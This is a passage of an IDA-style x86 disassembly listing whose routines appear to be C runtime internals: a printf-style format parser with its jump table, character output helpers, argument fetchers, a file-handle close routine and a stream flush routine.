loc_415F1A:				; CODE XREF: sub_415DDC+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_4164E4	; default
; ---------------------------------------------------------------------------


loc_415F2C:				; CODE XREF: sub_415DDC+6Ej
					; DATA XREF: seg000:off_4164FDo
		cmp	bl, 49h		; jumptable 00415E4A case 6
		jz	short loc_415F5F
		cmp	bl, 68h
		jz	short loc_415F56
		cmp	bl, 6Ch
		jz	short loc_415F4D
		cmp	bl, 77h
		jnz	loc_4164E4	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_4164E4	; default
; ---------------------------------------------------------------------------


loc_415F4D:				; CODE XREF: sub_415DDC+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_4164E4	; default
; ---------------------------------------------------------------------------


loc_415F56:				; CODE XREF: sub_415DDC+158j
		or	[ebp+var_4], 20h
		jmp	loc_4164E4	; default
; ---------------------------------------------------------------------------


loc_415F5F:				; CODE XREF: sub_415DDC+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_415F78
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_415F78
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_4164E4	; default
; ---------------------------------------------------------------------------


loc_415F78:				; CODE XREF: sub_415DDC+186j
					; sub_415DDC+18Cj
		mov	[ebp+var_30], edx


loc_415F7B:				; CODE XREF: sub_415DDC+6Ej
					; DATA XREF: seg000:off_4164FDo
		mov	ecx, ds:off_42D0F0 ; jumptable 00415E4A	case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_415FA7
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41651D
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_415FA7:				; CODE XREF: sub_415DDC+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41651D
		add	esp, 0Ch
		jmp	loc_4164E4	; default
; ---------------------------------------------------------------------------


loc_415FBF:				; CODE XREF: sub_415DDC+6Ej
					; DATA XREF: seg000:off_4164FDo
		movsx	eax, bl		; jumptable 00415E4A case 7
		cmp	eax, 67h
		jg	loc_4161E7
		cmp	eax, 65h
		jge	loc_41606A
		cmp	eax, 58h
		jg	loc_4160C8
		jz	loc_41625B
		sub	eax, 43h
		jz	loc_41608B
		dec	eax
		dec	eax
		jz	short loc_416060
		dec	eax
		dec	eax
		jz	short loc_416060
		sub	eax, 0Ch
		jnz	loc_4163E6
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_416009
		or	byte ptr [ebp+var_4+1],	8


loc_416009:				; CODE XREF: sub_415DDC+227j
					; sub_415DDC+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_416016
		mov	esi, 7FFFFFFFh


loc_416016:				; CODE XREF: sub_415DDC+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4165BB
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41622F
		test	ecx, ecx
		jnz	short loc_41603E
		mov	ecx, ds:off_42D0EC
		mov	[ebp+var_8], ecx


loc_41603E:				; CODE XREF: sub_415DDC+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_416047:				; CODE XREF: sub_415DDC+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_416226
		cmp	word ptr [eax],	0
		jz	loc_416226
		inc	eax
		inc	eax
		jmp	short loc_416047
; ---------------------------------------------------------------------------


loc_416060:				; CODE XREF: sub_415DDC+212j
					; sub_415DDC+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_41606A:				; CODE XREF: sub_415DDC+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41614E
		mov	[ebp+var_10], 6
		jmp	loc_41615C
; ---------------------------------------------------------------------------


loc_41608B:				; CODE XREF: sub_415DDC+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_416097
		or	byte ptr [ebp+var_4+1],	8


loc_416097:				; CODE XREF: sub_415DDC+2B5j
					; sub_415DDC+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_4160DE
		call	sub_4165D8
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B21F
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_4160F1
		mov	[ebp+var_28], 1
		jmp	short loc_4160F1
; ---------------------------------------------------------------------------


loc_4160C8:				; CODE XREF: sub_415DDC+1FBj
		sub	eax, 5Ah
		jz	short loc_4160FF
		sub	eax, 9
		jz	short loc_416097
		dec	eax
		jz	loc_4162C1
		jmp	loc_4163E6
; ---------------------------------------------------------------------------


loc_4160DE:				; CODE XREF: sub_415DDC+2C5j
		call	sub_4165BB
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_4160F1:				; CODE XREF: sub_415DDC+2E1j
					; sub_415DDC+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_4163E6
; ---------------------------------------------------------------------------


loc_4160FF:				; CODE XREF: sub_415DDC+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4165BB
		test	eax, eax
		pop	ecx
		jz	short loc_416140
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_416140
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_416131
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_4163E6
; ---------------------------------------------------------------------------


loc_416131:				; CODE XREF: sub_415DDC+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_4163E3
; ---------------------------------------------------------------------------


loc_416140:				; CODE XREF: sub_415DDC+32Fj
					; sub_415DDC+336j
		mov	eax, ds:off_42D0E8
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_4161DC
; ---------------------------------------------------------------------------


loc_41614E:				; CODE XREF: sub_415DDC+29Dj
		jnz	short loc_41615C
		cmp	bl, 67h
		jnz	short loc_41615C
		mov	[ebp+var_10], 1


loc_41615C:				; CODE XREF: sub_415DDC+2AAj
					; sub_415DDC:loc_41614Ej ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	ds:off_42D428
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_4161AE
		cmp	[ebp+var_10], 0
		jnz	short loc_4161AE
		lea	eax, [ebp+var_248]
		push	eax
		call	ds:off_42D434
		pop	ecx


loc_4161AE:				; CODE XREF: sub_415DDC+3BCj
					; sub_415DDC+3C2j
		cmp	bl, 67h
		jnz	short loc_4161C5
		test	esi, esi
		jnz	short loc_4161C5
		lea	eax, [ebp+var_248]
		push	eax
		call	ds:off_42D42C
		pop	ecx


loc_4161C5:				; CODE XREF: sub_415DDC+3D5j
					; sub_415DDC+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_4161DB
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_4161DB:				; CODE XREF: sub_415DDC+3F0j
		push	edi


loc_4161DC:				; CODE XREF: sub_415DDC+36Dj
		call	sub_413DB0
		pop	ecx
		jmp	loc_4163E3
; ---------------------------------------------------------------------------


loc_4161E7:				; CODE XREF: sub_415DDC+1E9j
		sub	eax, 69h
		jz	loc_4162C1
		sub	eax, 5
		jz	loc_416297
		dec	eax
		jz	loc_416284
		dec	eax
		jz	short loc_416254
		sub	eax, 3
		jz	loc_416009
		dec	eax
		dec	eax
		jz	loc_4162C5
		sub	eax, 3
		jnz	loc_4163E6
		mov	[ebp+var_2C], 27h
		jmp	short loc_416262
; ---------------------------------------------------------------------------


loc_416226:				; CODE XREF: sub_415DDC+270j
					; sub_415DDC+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_4163E3
; ---------------------------------------------------------------------------


loc_41622F:				; CODE XREF: sub_415DDC+24Fj
		test	ecx, ecx
		jnz	short loc_41623C
		mov	ecx, ds:off_42D0E8
		mov	[ebp+var_8], ecx


loc_41623C:				; CODE XREF: sub_415DDC+455j
		mov	eax, ecx


loc_41623E:				; CODE XREF: sub_415DDC+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41624D
		cmp	byte ptr [eax],	0
		jz	short loc_41624D
		inc	eax
		jmp	short loc_41623E
; ---------------------------------------------------------------------------


loc_41624D:				; CODE XREF: sub_415DDC+467j
					; sub_415DDC+46Cj
		sub	eax, ecx
		jmp	loc_4163E3
; ---------------------------------------------------------------------------


loc_416254:				; CODE XREF: sub_415DDC+425j
		mov	[ebp+var_10], 8


loc_41625B:				; CODE XREF: sub_415DDC+201j
		mov	[ebp+var_2C], 7


loc_416262:				; CODE XREF: sub_415DDC+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_4162CC
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_4162CC
; ---------------------------------------------------------------------------


loc_416284:				; CODE XREF: sub_415DDC+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_4162CC
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_4162CC
; ---------------------------------------------------------------------------


loc_416297:				; CODE XREF: sub_415DDC+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4165BB
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_4162B0
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_4162B5
; ---------------------------------------------------------------------------


loc_4162B0:				; CODE XREF: sub_415DDC+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_4162B5:				; CODE XREF: sub_415DDC+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_4164E4	; default
; ---------------------------------------------------------------------------


loc_4162C1:				; CODE XREF: sub_415DDC+2F7j
					; sub_415DDC+40Ej
		or	[ebp+var_4], 40h


loc_4162C5:				; CODE XREF: sub_415DDC+432j
		mov	[ebp+var_C], 0Ah


loc_4162CC:				; CODE XREF: sub_415DDC+491j
					; sub_415DDC+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_4162DE
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4165C8
		pop	ecx
		jmp	short loc_41631F
; ---------------------------------------------------------------------------


loc_4162DE:				; CODE XREF: sub_415DDC+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_416305
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_4162FA
		call	sub_4165BB
		pop	ecx
		movsx	eax, ax


loc_4162F7:				; CODE XREF: sub_415DDC+527j
					; sub_415DDC+539j
		cdq
		jmp	short loc_41631F
; ---------------------------------------------------------------------------


loc_4162FA:				; CODE XREF: sub_415DDC+510j
		call	sub_4165BB
		pop	ecx
		movzx	eax, ax
		jmp	short loc_4162F7
; ---------------------------------------------------------------------------


loc_416305:				; CODE XREF: sub_415DDC+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_416317
		call	sub_4165BB
		pop	ecx
		jmp	short loc_4162F7
; ---------------------------------------------------------------------------


loc_416317:				; CODE XREF: sub_415DDC+531j
		call	sub_4165BB
		pop	ecx
		xor	edx, edx


loc_41631F:				; CODE XREF: sub_415DDC+500j
					; sub_415DDC+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_416340
		test	edx, edx
		jg	short loc_416340
		jl	short loc_41632F
		test	eax, eax
		jnb	short loc_416340


loc_41632F:				; CODE XREF: sub_415DDC+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_416344
; ---------------------------------------------------------------------------


loc_416340:				; CODE XREF: sub_415DDC+547j
					; sub_415DDC+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_416344:				; CODE XREF: sub_415DDC+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41634D
		and	edi, 0


loc_41634D:				; CODE XREF: sub_415DDC+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41635C
		mov	[ebp+var_10], 1
		jmp	short loc_416360
; ---------------------------------------------------------------------------


loc_41635C:				; CODE XREF: sub_415DDC+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_416360:				; CODE XREF: sub_415DDC+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41636A
		and	[ebp+var_1C], 0


loc_41636A:				; CODE XREF: sub_415DDC+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_416370:				; CODE XREF: sub_415DDC+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_416380
		mov	eax, esi
		or	eax, edi
		jz	short loc_4163BB


loc_416380:				; CODE XREF: sub_415DDC+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_4152F0
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_415370
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_4163B1
		add	ebx, [ebp+var_2C]


loc_4163B1:				; CODE XREF: sub_415DDC+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_416370
; ---------------------------------------------------------------------------


loc_4163BB:				; CODE XREF: sub_415DDC+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_4163E6
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_4163D9
		test	eax, eax
		jnz	short loc_4163E6


loc_4163D9:				; CODE XREF: sub_415DDC+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_4163E3:				; CODE XREF: sub_415DDC+35Fj
					; sub_415DDC+406j ...
		mov	[ebp+var_C], eax


loc_4163E6:				; CODE XREF: sub_415DDC+21Bj
					; sub_415DDC+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_4164E4	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41641E
		test	bh, 1
		jz	short loc_416403
		mov	[ebp+var_16], 2Dh
		jmp	short loc_416417
; ---------------------------------------------------------------------------


loc_416403:				; CODE XREF: sub_415DDC+61Fj
		test	bl, 1
		jz	short loc_41640E
		mov	[ebp+var_16], 2Bh
		jmp	short loc_416417
; ---------------------------------------------------------------------------


loc_41640E:				; CODE XREF: sub_415DDC+62Aj
		test	bl, 2
		jz	short loc_41641E
		mov	[ebp+var_16], 20h


loc_416417:				; CODE XREF: sub_415DDC+625j
					; sub_415DDC+630j
		mov	[ebp+var_1C], 1


loc_41641E:				; CODE XREF: sub_415DDC+61Aj
					; sub_415DDC+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41643E
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_416552
		add	esp, 10h


loc_41643E:				; CODE XREF: sub_415DDC+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_416583
		add	esp, 10h
		test	bl, 8
		jz	short loc_416470
		test	bl, 4
		jnz	short loc_416470
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_416552
		add	esp, 10h


loc_416470:				; CODE XREF: sub_415DDC+67Bj
					; sub_415DDC+680j
		cmp	[ebp+var_24], 0
		jz	short loc_4164B7
		cmp	[ebp+var_C], 0
		jle	short loc_4164B7
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_416485:				; CODE XREF: sub_415DDC+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_41B21F
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_4164CC
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_416583
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_416485
		jmp	short loc_4164CC
; ---------------------------------------------------------------------------


loc_4164B7:				; CODE XREF: sub_415DDC+698j
					; sub_415DDC+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_416583
		add	esp, 10h


loc_4164CC:				; CODE XREF: sub_415DDC+6BCj
					; sub_415DDC+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_4164E4 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_416552
		add	esp, 10h


loc_4164E4:				; CODE XREF: sub_415DDC+68j
					; sub_415DDC+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_415E08


loc_4164F5:				; CODE XREF: sub_415DDC+1Fj
					; sub_415DDC+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415DDC	endp

; ---------------------------------------------------------------------------
off_4164FD	dd offset loc_415F7B	; DATA XREF: sub_415DDC+6Er
		dd offset loc_415E51	; jump table for switch	statement
		dd offset loc_415E6C
		dd offset loc_415EB8
		dd offset loc_415EEF
		dd offset loc_415EF7
		dd offset loc_415F2C
		dd offset loc_415FBF

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41651D	proc near		; CODE XREF: sub_415DDC+1BDp
					; sub_415DDC+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_416536
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_416541
; ---------------------------------------------------------------------------


loc_416536:				; CODE XREF: sub_41651D+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_415CC7
		pop	ecx
		pop	ecx


loc_416541:				; CODE XREF: sub_41651D+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41654E
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41654E:				; CODE XREF: sub_41651D+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41651D	endp


; =============== S U B	R O U T	I N E =======================================



sub_416552	proc near		; CODE XREF: sub_415DDC+65Ap
					; sub_415DDC+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_416580
		mov	esi, [esp+8+arg_C]


loc_416563:				; CODE XREF: sub_416552+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41651D
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_416580
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_416563


loc_416580:				; CODE XREF: sub_416552+Bj
					; sub_416552+25j
		pop	edi
		pop	esi
		retn
sub_416552	endp


; =============== S U B	R O U T	I N E =======================================



sub_416583	proc near		; CODE XREF: sub_415DDC+670p
					; sub_415DDC+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_4165B7
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_416599:				; CODE XREF: sub_416583+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41651D
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_4165B7
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_416599


loc_4165B7:				; CODE XREF: sub_416583+Cj
					; sub_416583+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_416583	endp


; =============== S U B	R O U T	I N E =======================================



sub_4165BB	proc near		; CODE XREF: sub_415DDC+E5p
					; sub_415DDC+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_4165BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4165C8	proc near		; CODE XREF: sub_415DDC+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_4165C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4165D8	proc near		; CODE XREF: sub_415DDC+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_4165D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4165E6	proc near		; CODE XREF: sub_413A94+17p
					; sub_413A94+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_416604
		mov	ecx, ds:off_42D0F0
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_416656
; ---------------------------------------------------------------------------


loc_416604:				; CODE XREF: sub_4165E6+10j
		mov	ecx, eax
		push	esi
		mov	esi, ds:off_42D0F0
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_416629
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_416632
; ---------------------------------------------------------------------------


loc_416629:				; CODE XREF: sub_4165E6+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_416632:				; CODE XREF: sub_4165E6+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	loc_41B287
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_416652
		leave
		retn
; ---------------------------------------------------------------------------


loc_416652:				; CODE XREF: sub_4165E6+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_416656:				; CODE XREF: sub_4165E6+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_4165E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41665B	proc near		; CODE XREF: sub_413C00+2Ap
					; sub_41B5EA+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, ds:dword_45FC20
		jnb	loc_4166F5
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:45FB20h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_4166F5
		push	edi
		call	sub_41B556
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4166D4
		cmp	edi, 1
		jz	short loc_4166A2
		cmp	edi, 2
		jnz	short loc_4166B8


loc_4166A2:				; CODE XREF: sub_41665B+40j
		push	2
		call	sub_41B556
		push	1
		mov	ebp, eax
		call	sub_41B556
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_4166D4


loc_4166B8:				; CODE XREF: sub_41665B+45j
		push	edi
		call	sub_41B556
		pop	ecx
		push	eax
		call	ds:dword_41F070	; CloseHandle
		test	eax, eax
		jnz	short loc_4166D4
		call	ds:dword_41F068	; RtlGetLastWin32Error
		mov	ebp, eax
		jmp	short loc_4166D6
; ---------------------------------------------------------------------------


loc_4166D4:				; CODE XREF: sub_41665B+3Bj
					; sub_41665B+5Bj ...
		xor	ebp, ebp


loc_4166D6:				; CODE XREF: sub_41665B+77j
		push	edi
		call	loc_41B4DC
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_4166F1
		push	ebp
		call	sub_41A667
		pop	ecx
		jmp	short loc_416706
; ---------------------------------------------------------------------------


loc_4166F1:				; CODE XREF: sub_41665B+8Bj
		xor	eax, eax
		jmp	short loc_416709
; ---------------------------------------------------------------------------


loc_4166F5:				; CODE XREF: sub_41665B+Ej
					; sub_41665B+2Fj
		and	ds:dword_45E808, 0
		mov	ds:dword_45E804, 9


loc_416706:				; CODE XREF: sub_41665B+94j
		or	eax, 0FFFFFFFFh


loc_416709:				; CODE XREF: sub_41665B+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41665B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41670E	proc near		; CODE XREF: sub_413C00+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_416737
		test	al, 8
		jz	short loc_416737
		push	dword ptr [esi+8]
		call	sub_413ED3
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_416737:				; CODE XREF: sub_41670E+Aj
					; sub_41670E+Ej
		pop	esi
		retn
sub_41670E	endp


; =============== S U B	R O U T	I N E =======================================



sub_416739	proc near		; CODE XREF: sub_4167D9+2Dp
					; sub_4167D9+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41674B
		push	esi
		call	sub_4167D9
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41674B:				; CODE XREF: sub_416739+7j
		push	esi
		call	sub_416774
		test	eax, eax
		pop	ecx
		jz	short loc_41675B
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41675B:				; CODE XREF: sub_416739+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_416770
		push	dword ptr [esi+10h]
		call	sub_41B593
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_416770:				; CODE XREF: sub_416739+26j
		xor	eax, eax
		pop	esi
		retn
sub_416739	endp


; =============== S U B	R O U T	I N E =======================================



sub_416774	proc near		; CODE XREF: sub_413C00+1Ap
					; sub_414ECE+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_4167C1
		test	ax, 108h
		jz	short loc_4167C1
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_4167C1
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_41A4BA
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_4167BA
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_4167C1
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_4167C1
; ---------------------------------------------------------------------------


loc_4167BA:				; CODE XREF: sub_416774+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_4167C1:				; CODE XREF: sub_416774+14j
					; sub_416774+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
